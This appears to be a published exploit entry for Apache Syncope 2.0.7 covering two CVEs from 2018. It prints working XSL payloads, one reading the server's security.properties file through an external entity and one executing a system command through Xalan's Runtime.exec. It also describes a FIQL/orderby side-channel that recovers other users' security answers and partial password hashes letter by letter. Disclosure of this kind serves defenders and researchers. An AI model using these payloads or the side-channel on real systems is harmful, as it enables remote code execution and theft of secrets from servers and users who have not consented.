# Exploit Title: Apache Syncope 2.0.7 - Remote Code Execution# Date: 2018-09-12# Exploit Author: Che-Chun Kuo# Vendor Homepage: https://syncope.apache.org/# Software Link: http://archive.apache.org/dist/syncope/# Version: 2.0.7# Tested on: Windows# Advisory: https://syncope.apache.org/security# CVE: CVE-2018-1321, CVE-2018-1322# Vulnerability 1: Remote code execution by users with report and template privileges# Description: A user with access to the Reports and Templates functionality can use XSL Transformations (XSLT) # to perform malicious operations, including but not limited to file read, file write, and code execution. # Apache Syncope uses XSLT to export report data into various formats. An attacker can perform malicious # operations by crafting a XSL template, binding the template to a report, executing, then exporting the report. # The following XSL can be used to read the Syncope security.properties file or execute the Windows # calc program, respectively.
READ security.properties file
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<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE xsl:stylesheet [<!ENTITY file SYSTEM "..\webapps\syncope\WEB-INF\classes\security.properties">]>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">&file;</xsl:template>
</xsl:stylesheet>
EXECUTE Windows calc program
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<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:runtime="http://xml.apache.org/xalan/java/java.lang.Runtime"
xmlns:process="http://xml.apache.org/xalan/java/java.lang.Process">
<xsl:variable name="rtobject"select="runtime:getRuntime()"/>
<xsl:variable name="process"select="runtime:exec($rtobject,'calc')"/>
<xsl:variable name="waiting"select="process:waitFor($process)"/>
<xsl:value-of select="$process"/>
</xsl:stylesheet>
# Vulnerability 2: Information disclosure via FIQL and ORDER BY sorting# Description: A user with entitlements to the /syncope/rest/users endpoint can recover sensitive # security values using the fiql and orderby parameters. # By default, Apache Syncope prevents sensitive values from being returned when querying # the /syncope/rest/users endpoint. Fields such as securityAnswers or password will always return null. # However the results returned can be filtered or sorted based on sensitive fields. By measuring how # the results are returned the values of the desired fields can be successfully recovered. The fiql parameter # can be used to recover full security answers, and the orderby parameter can be used to recover # full security answers and partial information about password hashes. # The fiql parameter allows filtering based on user attributes, including a user's security answer. # By using FIQL filters (i.e. "securityAnswer==a*", "securityAnswer==b*", etc...) a user's # securityAnswer can be recovered one letter at a time. # The orderby parameter allows sorting based on user attributes, including a user's security # answer and password. The following example shows how orderby sorting can be exploited. # User Bob exists with the security answer "test". A malicious user creates a user Alice with the # security answer "ta". The malicious actor then calls the /syncope/rest/users endpoint with orderby=securityAnswer".# By sorting using the "securityAnswer" attribute, the result will have Alice sorted ahead of Bob, # due to the value "ta" being before the value "test". By sequentially changing Alice's security # question and comparing the sorted result, Bob's security answer can be recovered one letter # at a time. A similar technique can be used to reveal partial information about user password hashes.
Orderby Example Results:
Alice's security answer, Order of results returned
ta,[Alice, Bob]
tb,[Alice, Bob]
tc,[Alice, Bob]
td,[Alice, Bob]
te,[Alice, Bob]
tf,[Bob, Alice]
tea,[Alice, Bob]
teb,[Alice, Bob]
